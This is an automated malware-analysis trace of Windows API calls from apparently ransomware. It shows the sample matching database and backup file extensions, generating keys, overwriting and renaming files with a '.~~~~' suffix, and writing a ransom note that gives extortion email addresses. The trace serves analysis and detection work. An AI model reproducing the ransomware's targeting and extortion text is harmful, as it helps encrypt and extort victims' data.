	[0083.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0083.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.132] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.133] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.133] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.134] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20312379560) returned 1
	[0083.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9b625990, dwHighDateTime=0x1d60e1e)) 
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac628
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac628 | out: hHeap=0x300000) returned 1
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28076b8
	[0083.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28076b8 | out: hHeap=0x300000) returned 1
	[0083.134] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.134] GetLastError () returned 0x0
	[0083.135] GetLastError () returned 0x0
	[0083.135] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.135] GetLastError () returned 0x0
	[0083.135] GetLastError () returned 0x0
	[0083.137] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff779c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.138] WriteFile (in: hFile=0x11c, lpBuffer=0x2856fe8*, nNumberOfBytesToWrite=0x8864, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesWritten=0x1f8fec0*=0x8864, lpOverlapped=0x0) returned 1
	[0083.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2856fe8 | out: hHeap=0x300000) returned 1
	[0083.138] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.138] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.138] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.138] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.138] CloseHandle (hObject=0x11c) returned 1
	[0083.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.138] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.~~~~")) returned 1
	[0083.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.139] GetLastError () returned 0x0
	[0083.139] RtlWakeConditionVariable () returned 0x365f70
	[0083.139] GetCurrentThreadId () returned 0xaf0
	[0083.140] GetCurrentThreadId () returned 0xaf0
	[0083.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807760 | out: hHeap=0x300000) returned 1
	[0083.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5f0 | out: hHeap=0x300000) returned 1
	[0083.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807760
	[0083.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.143] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.143] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.144] CloseHandle (hObject=0x11c) returned 1
	[0083.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807760 | out: hHeap=0x300000) returned 1
	[0083.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aad90 | out: hHeap=0x300000) returned 1
	[0083.144] RtlWakeConditionVariable () returned 0x365f70
	[0083.144] GetCurrentThreadId () returned 0xaf0
	[0083.144] GetCurrentThreadId () returned 0xaf0
	[0083.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807808 | out: hHeap=0x300000) returned 1
	[0083.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5b8 | out: hHeap=0x300000) returned 1
	[0083.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807808
	[0083.145] lstrlenW (lpString=".scr") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".scr") returned 0x0
	[0083.145] lstrlenW (lpString=".cmd") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".cmd") returned 0x0
	[0083.145] lstrlenW (lpString=".dll") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dll") returned 0x0
	[0083.145] lstrlenW (lpString=".bat") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".bat") returned 0x0
	[0083.145] lstrlenW (lpString=".cpl") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".cpl") returned 0x0
	[0083.145] lstrlenW (lpString=".sys") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".sys") returned 0x0
	[0083.145] lstrlenW (lpString=".msc") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".msc") returned 0x0
	[0083.145] lstrlenW (lpString=".com") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".com") returned 0x0
	[0083.145] lstrlenW (lpString=".lnk") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".lnk") returned 0x0
	[0083.145] lstrlenW (lpString=".msp") returned 4
	[0083.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".msp") returned 0x0
	[0083.146] lstrlenW (lpString=".pif") returned 4
	[0083.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".pif") returned 0x0
	[0083.146] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.146] lstrlenW (lpString=".sqb") returned 4
	[0083.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".sqb") returned 0x0
	[0083.146] lstrlenW (lpString=".ost") returned 4
	[0083.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".ost") returned 0x0
	[0083.146] lstrlenW (lpString=".txt") returned 4
	[0083.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".txt") returned 0x0
	[0083.146] lstrlenW (lpString=".mdt") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".mdt") returned 0x0
	[0083.147] lstrlenW (lpString=".BDB") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".BDB") returned 0x0
	[0083.147] lstrlenW (lpString=".eql") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".eql") returned 0x0
	[0083.147] lstrlenW (lpString=".DBF") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DBF") returned 0x0
	[0083.147] lstrlenW (lpString=".EQL") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".EQL") returned 0x0
	[0083.147] lstrlenW (lpString=".FDB") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".FDB") returned 0x0
	[0083.147] lstrlenW (lpString=".EDB") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".EDB") returned 0x0
	[0083.147] lstrlenW (lpString=".DACPAC") returned 7
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.147] lstrlenW (lpString=".VHD") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".VHD") returned 0x0
	[0083.147] lstrlenW (lpString=".DBV") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DBV") returned 0x0
	[0083.147] lstrlenW (lpString=".dacpac") returned 7
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dacpac") returned 0x0
	[0083.147] lstrlenW (lpString=".sdf") returned 4
	[0083.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".sdf") returned 0x0
	[0083.148] lstrlenW (lpString=".accdb") returned 6
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".accdb") returned 0x0
	[0083.148] lstrlenW (lpString=".DBX") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DBX") returned 0x0
	[0083.148] lstrlenW (lpString=".MDT") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".MDT") returned 0x0
	[0083.148] lstrlenW (lpString=".SQB") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".SQB") returned 0x0
	[0083.148] lstrlenW (lpString=".vhd") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".vhd") returned 0x0
	[0083.148] lstrlenW (lpString=".bac") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".bac") returned 0x0
	[0083.148] lstrlenW (lpString=".mdf") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".mdf") returned 0x0
	[0083.148] lstrlenW (lpString=".BAK") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".BAK") returned 0x0
	[0083.148] lstrlenW (lpString=".BAC") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".BAC") returned 0x0
	[0083.148] lstrlenW (lpString=".dbs") returned 4
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dbs") returned 0x0
	[0083.148] lstrlenW (lpString=".vhdx") returned 5
	[0083.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".vhdx") returned 0x0
	[0083.148] lstrlenW (lpString=".NDF") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".NDF") returned 0x0
	[0083.149] lstrlenW (lpString=".dat") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dat") returned 0x0
	[0083.149] lstrlenW (lpString=".DBS") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DBS") returned 0x0
	[0083.149] lstrlenW (lpString=".CKP") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".CKP") returned 0x0
	[0083.149] lstrlenW (lpString=".edb") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".edb") returned 0x0
	[0083.149] lstrlenW (lpString=".PST") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".PST") returned 0x0
	[0083.149] lstrlenW (lpString=".dbf") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dbf") returned 0x0
	[0083.149] lstrlenW (lpString=".SQL") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".SQL") returned 0x0
	[0083.149] lstrlenW (lpString=".pst") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".pst") returned 0x0
	[0083.149] lstrlenW (lpString=".dbv") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dbv") returned 0x0
	[0083.149] lstrlenW (lpString=".SDF") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".SDF") returned 0x0
	[0083.149] lstrlenW (lpString=".dtxs") returned 5
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dtxs") returned 0x0
	[0083.149] lstrlenW (lpString=".db3") returned 4
	[0083.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".db3") returned 0x0
	[0083.150] lstrlenW (lpString=".OST") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".OST") returned 0x0
	[0083.150] lstrlenW (lpString=".dbx") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dbx") returned 0x0
	[0083.150] lstrlenW (lpString=".DB3") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DB3") returned 0x0
	[0083.150] lstrlenW (lpString=".DAT") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DAT") returned 0x0
	[0083.150] lstrlenW (lpString=".VHDX") returned 5
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".VHDX") returned 0x0
	[0083.150] lstrlenW (lpString=".ndf") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".ndf") returned 0x0
	[0083.150] lstrlenW (lpString=".DB") returned 3
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DB") returned 0x0
	[0083.150] lstrlenW (lpString=".sql") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".sql") returned 0x0
	[0083.150] lstrlenW (lpString=".MYD") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".MYD") returned 0x0
	[0083.150] lstrlenW (lpString=".DBT") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DBT") returned 0x0
	[0083.150] lstrlenW (lpString=".ACCDB") returned 6
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.150] lstrlenW (lpString=".fdb") returned 4
	[0083.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".fdb") returned 0x0
	[0083.150] lstrlenW (lpString=".bak") returned 4
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".bak") returned 0x0
	[0083.151] lstrlenW (lpString=".myd") returned 4
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".myd") returned 0x0
	[0083.151] lstrlenW (lpString=".DTXS") returned 5
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".DTXS") returned 0x0
	[0083.151] lstrlenW (lpString=".ckp") returned 4
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".ckp") returned 0x0
	[0083.151] lstrlenW (lpString=".dbt") returned 4
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".dbt") returned 0x0
	[0083.151] lstrlenW (lpString=".db") returned 3
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".db") returned 0x0
	[0083.151] lstrlenW (lpString=".TXT") returned 4
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".TXT") returned 0x0
	[0083.151] lstrlenW (lpString=".MDF") returned 4
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".MDF") returned 0x0
	[0083.151] lstrlenW (lpString=".bdb") returned 4
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".bdb") returned 0x0
	[0083.151] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0083.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.151] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.153] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.153] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.153] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20314294043) returned 1
	[0083.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9b64baf0, dwHighDateTime=0x1d60e1e)) 
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5b8
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5b8 | out: hHeap=0x300000) returned 1
